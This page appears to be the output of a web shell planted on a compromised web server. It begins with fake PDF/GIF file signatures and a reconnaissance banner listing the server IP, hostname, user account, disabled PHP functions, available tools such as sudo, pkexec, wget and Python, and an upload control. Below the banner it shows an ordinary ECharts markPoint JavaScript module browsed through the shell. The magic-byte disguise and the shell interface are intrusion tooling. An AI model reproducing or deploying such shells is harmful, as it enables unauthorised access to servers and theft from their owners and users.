%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.77 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/echarts/src/component/marker/ |
Upload File : |
define(function (require) { var modelUtil = require('../../util/model'); var zrUtil = require('zrender/core/util'); function fillLabel(opt) { modelUtil.defaultEmphasis( opt.label, modelUtil.LABEL_OPTIONS ); } var MarkPointModel = require('../../echarts').extendComponentModel({ type: 'markPoint', dependencies: ['series', 'grid', 'polar'], /** * @overrite */ init: function (option, parentModel, ecModel, extraOpt) { this.mergeDefaultAndTheme(option, ecModel); this.mergeOption(option, ecModel, extraOpt.createdBySelf, true); }, mergeOption: function (newOpt, ecModel, createdBySelf, isInit) { if (!createdBySelf) { ecModel.eachSeries(function (seriesModel) { var markPointOpt = seriesModel.get('markPoint'); var mpModel = seriesModel.markPointModel; if (!markPointOpt || !markPointOpt.data) { seriesModel.markPointModel = null; return; } if (!mpModel) { if (isInit) { // Default label emphasis `position` and `show` fillLabel(markPointOpt); } zrUtil.each(markPointOpt.data, fillLabel); var opt = { mainType: 'markPoint', // Use the same series index and name seriesIndex: seriesModel.seriesIndex, name: seriesModel.name, createdBySelf: true }; mpModel = new MarkPointModel( markPointOpt, this, ecModel, opt ); } else { mpModel.mergeOption(markPointOpt, ecModel, true); } seriesModel.markPointModel = mpModel; }, this); } }, defaultOption: { zlevel: 0, z: 5, symbol: 'pin', symbolSize: 50, //symbolRotate: 0, //symbolOffset: [0, 0] tooltip: { trigger: 'item' }, label: { normal: { show: true, position: 'inside' }, emphasis: { show: true } }, itemStyle: { normal: { borderWidth: 2 } } } }); return MarkPointModel; });